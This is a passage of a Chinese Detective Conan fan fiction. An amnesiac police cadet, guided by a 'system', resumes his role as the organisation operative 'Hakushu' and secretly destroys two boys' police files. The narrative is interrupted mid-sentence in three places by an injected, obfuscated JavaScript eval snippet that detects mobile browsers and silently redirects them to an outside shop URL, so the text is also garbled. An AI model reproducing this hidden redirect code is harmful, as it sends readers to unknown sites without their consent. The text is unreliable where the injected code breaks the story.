那位警校首席几乎具备了一名优秀的好警察应有的所有素养,他意志坚定、目标明确,拥有顶尖的学习能力,观察力敏锐,理论课、格斗、射击等多方面极具天赋,还肯努力。他内心有非常强而纯粹的正义感和责任感,非常看重秩序和规则。他像正在被雕刻的璞玉,即使身上还有些许缺点,但仍然无法遮掩其夺目的本质。 正因如此,他比其他人更在意云居冬弥所带来的不确定性。 云居冬弥觉得他的做法没有问题,换他到他的那个位置,他会做的更彻底、更不留情面,甚至会当场指出对方的疑点,不得到真正的答案、不将不确定的因素抓在手中,他誓不罢休。 与之相比,降谷零只是保持距离地观望,理性的评估,这种极为克制而专业的行为,在他看来已经是种默认了。 他默认松田说的「你可以有所保留的信任他」。 毕竟,「云居冬弥」的存在本身就是对警校「秩序」和「规则」的一种冲击,不是吗? 云居冬弥不需要降谷零的信任,信任需要时间、需要坦白、需要行动的检验。 信任太过于奢侈。 不过若是检验的话,他十分欢迎受到任何形式的监督。 落在身上的目光远去,云居冬弥平静地合上了书本。 * 翻开笔记本,云居冬弥在上面写下了这周末的打卡任务。 ·采购信号屏蔽器所需材料,画下设计蓝图 ·调查任务跟进,津川兄弟的调查记录卡在幼年时期,出身背景不明(已被公安接管,调查困难) ·日常检查家中是否有窃听、监控痕迹 ·与kumo在家中会面,修理发尾(重点) 犹豫片刻,他又在这之下加了一条「给萩、松一人做一份糖画」。 在得知云居冬弥会做糖画后,萩原研二展现了惊人的热情,紫罗兰色的眼睛倒映着食堂的灯光,星星点点,他语调轻快而诚恳,带着显而易见的期待:“小云居,真的可以吗?我想要跑车——小阵平想要墨镜!” 坐在他身旁的松田阵平缓缓打出一个问号,心思从手中简略的设计图上移开,倒也没有反驳,只是别开脸道:“随便。” 云居冬弥在最后这两条上画了条波浪线,视线在「kumo」上久久停留。 kumo。 弟弟。 十年后的kumo会是怎样的呢?可爱的?阳光的?温柔的? 云居冬弥想了很久都没有想到他们的见面居然会是这样的。 有没有能告诉他,为什么他会在三更半夜看到许久不见的弟弟溜进房间,站在他床前,指着一部不知道从哪来的手机,跟他说:“你的手机忘在我那一个多月了,你怎么没去拿啊,kiri?” “有个备注「贝尔摩德」的人说,「亲爱的,今晚1:30,居酒屋见」。” 弟弟谴责地看着他:“你说好这周末我回来,陪我的,结果又去工作!” 被从睡梦中薅醒来的云居冬弥睡意朦胧地摸黑打开灯。 冷白的灯光落在看上去不过17岁的少年身上,衬得他的肤色有种病态的苍白。雪白的发丝垂直肩胛骨,就连睫毛和身上细小的绒毛也是白色的。他穿着一身白衣,全身上下最浓烈的色彩便是血红的眼睛。他站在床头,看上去就像是索命幽灵,满脸不服气。 这是……白化病? 云居冬弥从脑中翻出这个名词。 但怎么可能是白化病?kumo并不怕阳光,他经常在树荫下…… 对诶,他记忆里的kumo不是在黑夜里偷偷摸去外边玩,或是室内看故事书、玩捉迷藏,就是在树荫下编花环、画画、聊天。 好像确实也没怎么出现过在太阳底下,平时白天外出还会把自己裹得严严实实的。 他一直以为是紫外线过敏!完全没往白化病这个方向上去想! 白毛红眼不是二次元里超常见的搭配吗?怎么会是白化病? …… “不是吧——白发红眼病弱少年不是二次元里超火超常见的搭配吗?为什么会是白化病啊,统!” 【有没有种可能,虽然在你眼中这个世界是本漫画,但对于这个世界的人来说,这就是现实,别把这一切都当做VR游戏啊,宿主。】系统提醒,【早在穿过来前,我就提醒过你,这里就是现实,一个和你之前所在的世界同等的现实。】 “噢。”他很抱歉地说,“对不起,最近太安逸了,安逸到我都快忘了这件事了。” …… 系统有说过吗?他有说过这种话吗?到底怎么回事? 这个失忆真的只是失忆吗? * “不是吧,哥!你真的失忆了!” 弟弟震惊猫猫头过后,有点低落地说:“我一直以为那只是你不想理我,也不想去上班的借口……果咩那塞,我错了。” “没事的。”云居冬弥对他弟一向很宽容,“不过,可以告诉我,我的工作是什么,你平时不在家里又在哪吗?” 云居冬弥在萩原研二的耳目共染下学会了打感情牌,他眨了眨眼,用手理了理弟弟微乱的长发,轻声说:“我这段时间给你发消息你也不怎么回,我好不容易抽空周末回来看看,你也不在——我真的很担心你,kumo,别让我这么担心,好吗?” 弟弟的表情变得有点古怪,他左看看,右看看,倒吸一口凉气:“kiri,你变了……你居然学会Honey Trap了!” 他痛心疾首:“到底是谁教坏了我哥!快给我过来道歉——嗷呜,哥,你居然打我!” 云居冬弥切换表情,收回弹脑壳的手,面无表情地说:“好好说话,kumo,不要这么不礼貌,那是你哥的同期,是前辈,尊重一点。” “噢,好的。”弟弟撅了下嘴,郁闷地回答他哥之前的问题,“你在一家被称为「酒厂」的公司工作,但工作内容应该不是卖酒之类的。你所在的公司的工作时间实在是很阴间,而且时长不定,但给的工资很高,真的很高,我和你住的地方都是你工作第一年就全款买下的。” “而且你工作的地方应该和医药企业有一定的关系,我平时就待在公司的病房里,哪也不去了,天天在病房里抽血,打点滴。” 弟弟焉哒哒地耷拉着脑袋。 “他们说我这是为了维持身体健康,不能随便停药,也不能随便外出,不然身体会崩溃的,所以除了被专车送过来找你,我平时只能待在室内里打打电脑了。” 云居冬弥面不改 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16619249|187798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色地攥紧拳头。 “那你的身体……” “按时吃药、打点滴就没事,但停药我好像就完蛋了——但没关系的,我已经活够了,只要kiri没事就好了,我无所谓的。” 无所谓? 这怎么能够无所谓? 药物的依赖、限制的自由、专车的接送,这是治疗还是名为「治疗」的圈养?这所谓的治疗真的是治疗还是手握的把柄?脑中碎片化的线索串成一条线,云居冬弥感觉他的心跳异常的快,溺水般的窒息攥住了他的咽喉。 但他的表情确实一如既往的平静,看不出有任何波澜。 弟弟笑着说,结果说完发现云居冬弥已经出现在玄关了:“等等,kiri你怎么走了?” 云居冬弥冷静地说:“我去工作。” 弟弟大惊:“可是你知道居酒屋在哪吗?要不问问?” * 一点半,居酒屋的门被人推开,挂在门上的铃铛发出脆响。闷热而潮湿的空气灌了进来,将酒吧内凉爽冲淡了些,还带着淡淡的雨雾。 外边正在下雨。 但来者没有带伞,他戴着鸭舌帽,口罩遮住了大半张脸,只露出一双眼睛。他穿着黑色上衣和同色系的长裤,逆十字架吊坠在领口若隐若现,整个人都湿哒哒的。雨水顺着长裤流到鞋子,又从鞋划到地上,落下了一地的水痕。 他脸色惨白,没几分血色,脸上糊着雨水,雨珠从鸦羽般的眼睫上落下,看上去狼狈、苍白甚至可以说得上是脆弱。 但没人敢认为他脆弱。 因为,他摘下帽子,捋了一下黑发,露出一双堪称标志性的银眸,用平静而极富压迫感的声音说:“我以为你知道我现在处于假期,贝尔摩德。” “给我个理由。” 酒吧内的气氛凝固起来,有人举杯的手僵在半空中,不可置信地看了过去,发出尖锐爆鸣。 “白、白州?!” * 白州威士忌。 姓名不详,年龄未知,直属于那位先生的组织高层,酒精过敏严重,一碰酒就发癫,是个冷血、暴戾而实力强大的酒厂知名蛇精病。 没有人知道他叫什么,没有人知道他多少岁。 更没有人知道他具体长什么样。 在组织内能证明他身份的只有两个。 一,标志性的银灰色眼睛。 二,堪称标记的属于那位先生的「逆十字架」。 * 戴着从书桌的暗格摸出吊坠,云居冬弥,或者该称此时的他为「白州」的黑发青年,他无视那句“白州”的呼唤,无视居酒屋中诡异的宁静,根据系统的指引,径直走向正在调酒的调酒师。 那名脸上略带笑意的调酒师看向他,身旁漂浮着几行文字。 【角色档案_贝尔摩德】 姓名:莎朗·温德亚 马甲:克丽丝·温德亚 代号:贝尔摩德 阵营:黑 身份:酒厂代号成员、演员 状态:不老魔女 他始终不想面对的“过去”找上门了。 【恭喜宿主触发关键性节点:「逆十字与酒」】 【当前记忆进度:7%】 【阶段性奖励「记忆碎片·逆十字的誓言」已发放,是否查看?】 19. 云居日记(19) 提问:如果我必须要践踏很多人的性命才能护你周全,你会生气吗,kumo? “全世界的人都有理由为此生气,但我不行,我才是那个受益者,我没立场,也没理由为此生气。”弟弟轻轻眨了一下眼,笑吟吟地说,“前提是你不能后悔。” “不要后悔,不能后悔,你要为自己的选择付出代价。” ——不要后悔,不能后悔,这是你自己选择的路。 洗浴间,谷川居雾拧开水龙头,冰凉的水哗啦啦地淌过手间,过浓的洗手液味萦绕在鼻尖,他一遍又一遍地洗手,直到电话铃声响起,他关上水,用毛巾擦干湿哒哒的手,接通了电话。 抬头,视线自然而然地落在镜子上。 镜中的谷川居雾看上去不过17岁,略长的额发没过眼睛,嘴角下垂,无论听到什么都一副波澜不惊而困倦的模样,没什么精神,仿佛对什么都不在意、不感兴趣,整个人死气沉沉的,没点同龄人应有的朝气。但露出眼睛时却显得气质格外冷冽、沉寂,带着几分高高在上的审视和诡异的非人感。 银色的眼睛倒映着镜中的自己,像是忠实反射现实的镜子。 20岁的云居冬弥熟练地从恍惚中回过神来,他摩挲了一下那枚熟悉而陌生的项链,在出门前轻声问:“你仍然觉得‘鱼’在乎吗,kumo?” “是的,‘鱼’在乎,每条‘鱼’都在乎。” kumo站在玄关前。 “一路顺风,哥哥。” * 这一路并不顺风,出门太急,没问系统天气预报,结果打车打到一半下雨了,付完钱后全身上下只有100日元的云居冬弥看着外边的倾盆大雨,沉默了。 天,他都要进阶成酷炫狂拽吊炸天的犯罪分子了,居然没钱买伞。 算了,没伞就没伞吧。 蛐蛐淋雨?谁还没被淋过啊。 其实是在警校期间才养成下雨打伞的良好习惯的云居冬弥看了眼时间,决定慢慢走过去——反正走过去都要淋湿了,走慢点和走快点有区别吗? 这不都是湿吗?没区别。 那还不如慢慢走,顺便理清一下思路。 细细密密的雨落在身上,一点点浸湿了随手戴上的鸭舌帽,雨珠顺着额头划过脸颊,划过紧抿的唇线,顺着凌厉的下颚线落入衣领。黑色卫衣被雨水打湿,和先前看上去差别不大,就是黏在皮肤上,有点难受。他的手插在口袋里,攥着还未拆封的一次性口罩。 可能是雨雾太浓厚的原因,沉闷感自心口处蔓延,云居冬弥感觉他有点缺氧。 「如果,我是说如果。」 他在换上属于「白州」的黑色衣服,若无其事地问他弟。 「如果我必须要践踏很多人的性命才能护你周全,你会生气吗,kumo?」 弟弟的表情很精彩,算不上意外,他只是思考片刻,用他惯有的仿佛置身事外又深入其中的口吻,笑吟吟地回答了他的答案:「全世界的人都有理由为此生气,但我不行,我才是那个受益者,我没立场,也没理由为此生气。」 「前提是你不能后悔。」 淅淅沥沥的雨声敲打着耳膜,他听到他弟用带着几分笑意的声音说。 「不要后悔,不能后悔,你要为自己的选择付出代价。」 代价。 什么是代价? 是为了弟弟选择以「白州」的身份去“工作”?是明知山有虎偏向虎山行的偏执?是决定成为一名合格的好警察后,所观察、学习的那些属于正常人的行为?还是那些本不该存在的犹豫着接受的善意? 谷川居雾是云居冬弥,但云居冬弥不止是谷川居雾。 「不要后悔,不能后悔,你要为自己的选择付出代价。」 「是的,‘鱼’在乎,每条‘鱼’都在乎。」 「但我一定不会让你后悔这个决定的。」 「小云居……」 「云居同学,现在九点多了……」 那个在记忆中反向孤立孤儿院其他人、只在乎弟弟的谷川居雾,那个在零碎的回闪中被称为shirasu、漠然困倦、有点心软的「谷川居雾」,和现在对自己过去一无所知、偏执而茫然地走在成为一名好警察的路上的云居冬弥真的是同一人吗? 你真的清醒吗? 你真的不会后悔吗? 他自认为清醒、不会后悔,是在没有记忆下的狂妄还是真的不会动摇?雨水彻底打湿帽子,一滴滴的雨渗进发丝,冷风吹着湿透的衣物,带着些许冷意,云居冬弥沉默地走着,撕开包装,将垃圾叠好塞进口袋,戴上了口罩。 你真的该接受那个称呼吗? 你真的该拿起那瓶水吗? 距离目的地越来越近,眼前本该陌生的街道越来越眼熟,云居冬弥心中的迷茫、动摇和过浓的情绪随着步伐一点点变淡,情感仿佛套上了一层薄薄的膜,悲喜从心间散去。 情感是弱点,眷念是破绽。 云居冬弥必须冷静。 现在最需要做的事是完成这次试探性的危机,在这条通往不同方向的岔路口,做出足以让他后悔的决定前,扮演好每一个该扮演的角色——无论是云居冬弥,还是谷川居雾。 所以,任务必须完成。 但怎么完成那可就说不准了。 暖黄色的灯光在雨幕中若隐若现,云居冬弥的步伐没有丝毫变化,口罩之下的表情尽数褪去,取而代之的是空洞的冷漠和淡然:「在吗,统?」 系统冒泡:【在,宿主。】 「帮我。」 他推开门,铃铛轻响,温暖而干燥的空气裹挟着酒香和烟味,或许此刻该称之为「白州」的年轻人无视凝滞的气氛和倒吸一口凉气的声音,平静地开口:“我以为你知道我现在处于假期,贝尔摩德。” 【如您所愿。】不知道是不是他的错觉,系统似乎有点欣慰,【柯学人生重开系统233竭诚为您服务。】 * 【阶段性奖励「记忆碎片·逆十字的誓言」已发放,是否查看?】 白州点了【否】,虽然记忆很有用,他需要情报,但这太不可控了,在安全的情况下查看才是最优解。 他必须冷静。 他必须完美地扮演白州。 身为云居冬弥,他确实不知道过去的「白州」应该是怎么样的,但根据系统的说法…… 本色出演就行了。 冰凉的雨水渗进衣服,湿滑、潮湿的触感让他不太舒服,但他面上毫无变化。银灰色的眼睛平静到毫无波澜地看着对方,眼里没有探究,没有好奇,没有任何情感色彩,他只是用一种近乎无机质的自带几分审视的目光注视着,仿佛只是在透过她看一件麻烦的物品……或者说,触发任务的NPC。 无需掩饰。 在这里无论他做出什么事情都是正常的,不需要在意他人是怎么看待的。 他走到吧台前,拉开高脚凳坐下,心平气和,仿佛十几分钟前气到想扬了这个酒厂的人不是他。 对方递上来一杯淡金色的酒。 “我不喝酒。”白州淡淡地抬眼,“我以为你知道该怎么和我相处的,贝尔摩德。” 不需要在意他人感受,不需要去想他的行为是否正常,想说什么就说什么,怎么习惯怎么来——所以,他不需要社交,这种东西在这里不起作用。 实力与地位才是这里最重要的东西。 而这个,他恰巧都有。 【你是白州威士忌,在别人眼中,你冷血、暴戾,酒精过敏严重,是酒厂知名蛇精病。很多人恨不得你死,但他们做不到,因为你直属于那位先生。】 【逆十字的宣言为他而立。】 系统轻声低语。 【嘘——请不要说出那个名字,他是禁忌。】 那位面容普通的调酒师递酒的动作微妙地停顿了一下,随即若无其事地收回手,将酒放置自己面前,温和、刻板的笑变得张扬而肆意,她撕掉了脸上的易容,金发散了下来,红唇勾起,指尖轻轻敲了一下杯沿,发出一声脆响。 “你还是那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16619250|187798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么不解风情。”她笑得美眸微眯,“我只是觉得你这样湿漉漉地进来,总该喝些什么?” “那就冰水。” 白州如是说,然后收获了一杯热水,他淡淡地看了眼对方,怀疑她不怀好意。 杯壁温暖,氤氲白雾徐徐飘起。虽然浑身湿哒哒的确实需要热量,而不是冷上加冷,但被评为「不老魔女」的代号成员会是关爱同事身心健康的人设吗? 白州觉得不会。 他淡淡地看了眼对方,合理怀疑她不怀好意,平静地陈述:“我不认为冰水和热水是同一种东西,贝尔摩德。” 贝尔摩德轻笑出声,似乎很满意对方的“指控”,手指托着下巴,笑容真诚了些许:“哎呀,淋了雨喝冰水对身体不好,这可是常识。” “是吗?”白州不以为意,“这种常识并不处于信息库中,我会注意的,谢谢。” 他端起热水喝了一口,温热的液体划过喉间,落入胃中,带来丝丝暖意。完成前置任务后,他抬眼道:“现在可以说明具体任务了吗?” “当然,Hakushu。” 酒吧内其他人已被清场,在场只有白州和贝尔摩德两人,所以他早已摘下口罩。 轻缓的背景音乐中,他听到:“很简单的任务。入侵公安资料库,找到「津川影」和「津川星」的死亡记录,及其相关调查报告。然后……” 她顿了顿,指尖绕着杯沿划了个圈,目光落在白州没有丝毫变化的脸上。 “彻底删除。让这两个人的名字,以及他们存在的所有痕迹彻底从警方的记录里消失,就像从未存在过一样。” 白州仿佛对这两个他亲手救下的人没有丝毫感触,只是困惑地看了眼贝尔摩德,毫无波澜的银灰色眼睛里空无一物,语气平淡:“我以为他们接近我是为了组织的任务。” “是的,但他们没用了。” 白州若有所思:“那我也会没用吗?” 没必要隐瞒他的失忆,这一切都在那位先生的注视之下,他只需要坦诚,展露出对方喜欢看的真实的一面就行了——谁说相对的真实不是真实呢? 他确实为此困惑过一瞬。 他确实很想借此看到对方对他的态度。 但白州没想到的是,贝尔摩德听后轻笑了起来,似嘲讽似怜悯地看了他一眼,她微微倾身,用那双美丽、神秘而深邃的冰蓝色眼睛望着他,仿佛真的在为他的存在而惋惜。 “你不一样,Hakushu。” 她停顿一瞬,唇角弧度不变,目光落在领口的逆十字项链上,轻柔的咏叹化为锋利的刀刃。 “他们是工具,工具是会磨损的、坏掉的、被人丢弃的,工具不需要有思想,工具只需要在合适时间出现在合适的位置上……工具只要足够趁手就好了。”贝尔摩德微微一笑,“你从一开始就不是工具。” “而是共犯啊,kiri。” 她用堪称恶意的语气念出那个称呼,但白州并没有太大反应,只是淡淡地“哦”了一声,仿佛明白了什么似的,恢复了那种波澜不惊的非人的平静,连眉眼皱起的幅度都不曾有丝毫变化。 “我明白了。”白州接受了对方的说法,“这就是‘我’的选择。” 他的语气平淡得像是在确认明天的天气,仿佛“共犯”这个沉重而血腥的身份,与“今天下雨”是同等性质的事实陈述。 他没有愤怒,没有恐惧,甚至没有一丝好奇去追问“共犯”于何种罪行,只是平静地接纳了这个定位,并将其归结为“过去自己”的选择。 这种近乎麻木的接纳,反而让贝尔摩德精心准备的、带着恶意的揭示像是打在了空处。她眼底那一丝等着看他失态的玩味渐渐淡去,她撩起长发,拨弄了一下美甲:“你还真是一如既往地无趣啊。” “嗯。” “还以为失忆的你……会有趣点呢。” 飘忽的声音带着若有若无的遗憾,白州没什么表示,认下了对方的点评,平静地喝完了剩下的水。他将空杯放回原处,发出清晰的脆响。 20. 云居日记(20) 杯底与桌面的碰撞声为所有无意义的寒暄画上一个句号,轻缓的背景音乐下,白州食指轻敲桌沿,银灰色的眼睛里什么也没有,没有被评为「无趣」的不满,没有被列为「共犯」的惊异,始终保持着近乎诡异的平静,仿佛这些消息只是掠过镜面的尘埃,拂去即可。 “无趣与否不影响任务效率,我想这是我的自由。”他抬眼,用问今天天气如何的平淡语气说,“任务时限。” “真是心急啊,Hakushu。”贝尔摩德微微挑眉,慢悠悠地晃荡着酒液,她欣赏着酒液划过杯壁的弧度,仿佛这才是值得关注的事情。片刻后,她才抬起眼,眼底含着几分似真似假的笑意,红唇轻启:“从现在开始,限时12小时。” 暖色的灯光下,她的声音如毒蛇吐信般轻柔而危险,羽睫落下一片阴影:“我相信这对你来说足够了吧。” “足够了。”白州站起身,理所当然地伸出手,“我需要人手和武器。” “人手?没有哦。”贝尔摩德语调轻快,带着几分幸灾乐祸的意味,“我以为你很清楚,你的‘风格’不需要观众,也没人愿意当你的搭.档。” 她从吧台下方取出一个密封的箱子,推至白州面前,指尖划过箱盖:“装备在这,最新款,和你以前用的型号一样。” 白州没理会对方堪称明示的话,动作微滞,自然而然地输了个密码。箱内整齐地摆放着一台格外眼熟的笔记本电脑、几个作用不明的U盘、几粒小.型.炸.弹,以及一把熟悉的线条流畅的P226和几个备用弹夹。他动作娴熟地检查枪械,确认无误后,他收好手.枪和弹夹,将电脑稳妥放回箱中。 “内部情报。”总不能什么信息都没有就让他硬闯警察厅。 他的价值没那么低。 贝尔摩德表情略带遗憾地递给他一张储蓄卡。 “最重要的都在这里面,剩下的,自己解决。”白州接过储蓄卡后,他听到对方意味深长的话,“那位先生希望看到干净利落、不留痕迹的结果,别让他失望……也别玩得太过火,Hakushu。” 白州微微瞥眉:“我不会做多余的事情,麻烦他别那么多疑。” 白州将鸭舌帽往下压到勉强不挡住视线的程度,宽大的帽沿压着额发,遮掩住了他大半张脸,只留下了线条流畅的下颚线和毫无血色的薄唇。他戴上口罩,转身走到门口,消失在夜色之中。 几秒钟后,他折返回酒吧。 “把坪内叫过来。”白州如是说,“我需要一名司机。” 贝尔摩德似乎毫不意外,她浅尝一口,放下酒杯,玩味道:“坪内?我们白州大人还真会挑人呐。” 白州丝毫没理会这句意有所指的话,在角落里站了几分钟,平静地看了眼手机中「坪内本道」发来的定位链接,再度没入浓稠的夜色。 这次他没折返。 酒吧内一片寂静,贝尔摩德凝望着杯中琥珀色的液体,将其倒入水槽,唇角勾起微妙而愉悦的弧度,低语道:“演员已就位,希望你的‘本能’能带你做出正确的选择,Hakushu 。” ——失去记忆的你仍然是“你”吗,谷川居雾? * 失去记忆的白州依旧是白州。 坪内本道看到那名和记忆中略有不同的黑发青年打开车门,理所当然地朝他要了一套干净的衣服,脸上的表情和过去14岁的谷川居雾没有任何差别,仿佛本该如此,这本就是他应该做的。 好吧,确实是他该做的。 早在6年前便被要求在车上备好换洗衣物的坪内本道递过衣物袋。 随后在对方冰冷的视线中,他如善从流地将挡板落下,等后方传来敲击声,才将它升回去。 窗外雨渐停,车窗上遍布雨痕,雨刷兢兢业业地刮擦着挡风玻璃。他顺势看了眼后视镜,随后他看到坐在后座的黑发青年已经换上了干净清爽的衣服,但脸上还残存着水痕,头发也湿哒哒的,看上去随时会把身上这件干衣服打湿。 很明显,车上并不会有第二套备用衣服,于是坪内本道顺手从副驾驶那拿了条毛巾,递了过去。 然后他看到令他动作一滞的画面。 * 白州将湿衣服团吧团吧塞进袋中,接过对方递来的毛巾后,胡乱地擦了擦还在滴水的黑发,用皮筋扎起惹人烦的半长发,露出完整的颈部和下颌线。因落下的额发而显得阴郁、困倦的表情变得一如他的眼睛般具有攻击性,甚至带上了一点这个年龄该有的朝气。 ……这皮筋还是萩原研二友情赠送的,用在这里太讽刺了。 白州眨眼间掩去陡然冒出的、不合时宜的念头,看了眼系统提供的地址后,平静地说:“7号安全屋。” “明白。”坪内本道移开视线,发动汽车,在空荡荡的马路上平缓而迅速地朝目的地前进。 他闭着眼,缓解眼睛酸涩。 因为困。 从警校回来前那晚因为想着要见弟弟没睡好,基本睁眼到天亮,而今天刚躺下没几分钟,便被突然冒出的、本该明早才到的弟弟叫醒来工作。 连续几十小时没有正式休息,再加上被突如其来的“过去”找上来,他已经维持高警惕状态有段时间了,这也就导致他现在有点困了——其实只是两天没睡的话也没什么,但他最近都没怎么睡。他睡眠质量很差,夜里有什么风吹草动他就会爬起来巡视一圈,排除一切可能性危险后才会躺会床上。 之前他将此掩饰太平般地归类于这个世界过于危险,他有被害妄想症。 但真正扮演「白州」后,云居冬弥才不得不承认,这是因为他过于警觉,过于不安,即使他明知警校是相对安全的地方,他仍然放不下他的戒心。 他不知道到底会有多少人在阴影里注视着他;他不知道到底有多少人在他所不知道的地方希望他死;他不知道平静的警校生活下方到底暗藏着多少风潮涌动。 云居冬弥尚不知道「白州」的存在,但如影随形的不安让他无时无刻不在保持警戒,保持距离,远离一切让他感到危险的事物。他无法安眠本质上就是因为他潜意识里深刻记得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16619251|187798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他从未拥有放下戒备的权力。他无处安放的控制欲也正是因为他觉得他不属于这里,他和警校格格不入,他在这里不安全。 云居冬弥对自己一无所知。 但他的身体早就诚实地记录下来他必须拥有的本能。 车停了下来,云居冬弥睁开眼睛。 困倦如昙花一现,仿佛停稳的车辆拨动了某个无形的开关,所有的情绪与疲惫迅速从白州的代码中删除,当他再次睁开那双银灰色眼睛时,他的眼里只剩下空洞的平静,仿佛没有任何事物能被他放在眼里,没有任何事物能激起他的情绪。 白州推开车门,拎着他的装备下车,他微微偏头:“在这等着。” 冷漠、淡然、我行我素,一旦做出决定便没有可商量的余地,坪内本道关上车窗,在楼下等待着下一步指令。 白州确实是白州。 但他确实学会新的东西了。 白州似乎永远平静,永远稳定,他仿佛不会产生任何情感波动,他会困惑,会不满,会因为一些无伤大雅的小事笑一下,但坪内本道能感受到他的情绪其实毫无起伏,宛如一潭死水。 他很少见到白州这么困倦、疲惫的样子。 仿佛一些原本可以忍受的那些堪称日常的事情在现在变得难以接受。 * 云居冬弥确实难以接受。 并不是指他这周总共睡眠时间只有13小时的生理意义上的疲倦,而是他在扮演「白州」时,必须把自己从情绪中完全剥离出来,以绝对的冷静和稀薄的感情应对他人,将自己物化成为一个趁手的工具的心理上的疲倦。 他很习惯这种感觉,很习惯从这个视角看待,很习惯这么活着……但他清晰地感觉到他其实在「忍耐」着。 真奇怪,为什么要因为这种事情而忍耐? 云居冬弥觉得他可能被警校生活养娇气了,居然连这些他本该习以为常的事情感到不对劲。 【这些不该是习以为常的事情。】系统用一种近乎欣慰的平稳声音说,【你现在终于有点身为“人”该有的情绪了,我想kumo应该会很高兴的,宿主。】 “人”该有的情绪? 他难道现在不算是“人”吗? 云居冬弥困惑而茫然,他盯着「kumo应该会很高兴的」那句话看了一会儿,觉得他解决完今天的难题后,需要去借本相关书籍去看看。 但现在不是想这个的时候。 云居冬弥时间有限,他坐在安全屋的沙发上,腿上架着笔记本电脑,看到信息加载完毕后,他扯回飘远的思绪,压下心中不该泛起的涟漪,自然而然地进入工作状态。 浏览完卡内的资料后,他凭直觉划出重点,几个不成型的计划在脑中浮现。 随后他又打消这些计划。 不是动静太大,就是要死人——虽然用头发丝去想都知道他手上必定有人命,但他确实不想以还算是「云居冬弥警校生」的身份这么干。 于是,两小时后。 他接管了警察厅的监控。 21. 云居日记(21) 夜色是最好的伪装,白州站在阴影中,偏头注视着系统上显示的倒计时,卡着点翻进五米高的不起眼的检修口。 感谢这个时间点柯学世界的科技发展还勉强对得上90年代的日本,电子门禁还算简单,内部门锁还是机械式的,篡改监控也不算难,只是过程略为繁琐,需要提前写好程序再带过来,唯一的问题是从头开始写程序可能时间来不及——好在原本的「白州」早有准备,U盘中有他早就写好的程序框架,他只需要根据现实情况调整参数就行了。 不过背着电脑,根据当前情况时时修改监控太麻烦了,还不现实。 所以白州是根据自身情况,提前推算好他所需的时间,将程序设置为在特定时间自动执行覆盖监控的指令。虽然执行起来需要精确到秒,不能有任何偏差,但他还有系统,可以设置相对的倒计时,只要多注意一下,在无人知晓的情况下悄无声息地潜入,对他来说也不是很难。 为了以防不必要的麻烦,他在一切开始之前看了警察厅近7天这个点的所有监控,分析了贝尔摩德给的情报与现实间的差异,耗时了两个小时才正式开始行动。 凌晨四点整,白州撬开了档案库的防火门。 说实话,在档案库那么多份资料中准确找到两份档案,对于一名未曾来到过这的人来说很难。所以白州为自己预留了十分钟的时间去找——如果找不到,那就只好拿出破坏性大点的PLAN B了。 没办法,他虽然想少干点破烂事的,但他弟的性命还在酒厂手上呢。 他必须完成任务。 直到他真正找到过去的「白州」选择哪条道路前,他必须完成任务,不让过去的他所计划的那些他未知的事情付之东流。 谁知道那里面会不会有kumo真正想要达成的正确的结局? 不要后悔,不能后悔。 这是你自己选择的道路。 但当他站在档案库中,准备一点点摸索那倒霉档案到底放在哪时,白州忽然愣了一下,他看了一圈,用戴着手套的手指划过一个个密封的文件的编号,最终在一个极其眼熟的位置停了下来。 他抽出文件夹。 上面写着:津川影、津川星。 血液仿佛被冻住了,但白州手上动作没有丝毫停留,取出报告内容,从包中摸出一小瓶药水,拔开盖子,将特制溶液淋在纸业上。 有时候不得不感慨一下酒厂真的什么科技狠活都有,这溶液见效极快,几乎是墨迹刚接触到液体便开始褪色,不过几秒,那些记录着这两位少年存在痕迹的文字与照片彻底消失了,只留下一张张干净得过分的白纸。 但就算只是白纸,这也不能留。 白州将文件用小刀割成小块,塞进包中,准备潜出去后把这玩意烧了——谁知道酒厂有没有将这些文字复原的东西,万一是个坑怎么办? 既然要清除他们存在的痕迹,那就不能让酒厂有复原它的可能性。 但仅限于酒厂。 「系统,将备份数据移动至新建文件夹‘未尽’。」 未尽的责任,未尽的任务,未尽的道路。 云居冬弥救下了津川却未能尽到他该尽的责任,他亲手抹灭了他们的存在;白州完成了任务却没有完全完成,他留下了火种;谷川居雾选择了他必须走完的道路,但他却不知道这条路是什么,也不知道它来源于哪里,又通往何处。 他是云居冬弥,他是白州,他也是谷川居雾,在一切始末都清晰前,他必须为自己留下一条可以弥补过错的后路——不光是为了他自己的计划,也是为了那对被组织安排着匆匆上场,又匆匆下场的兄弟。 很荒谬,难道就因为相似的配色,或者有所重合的过去,他们就该这么被推上戏台,演出这场无聊的戏剧吗? 他们本不该死的。 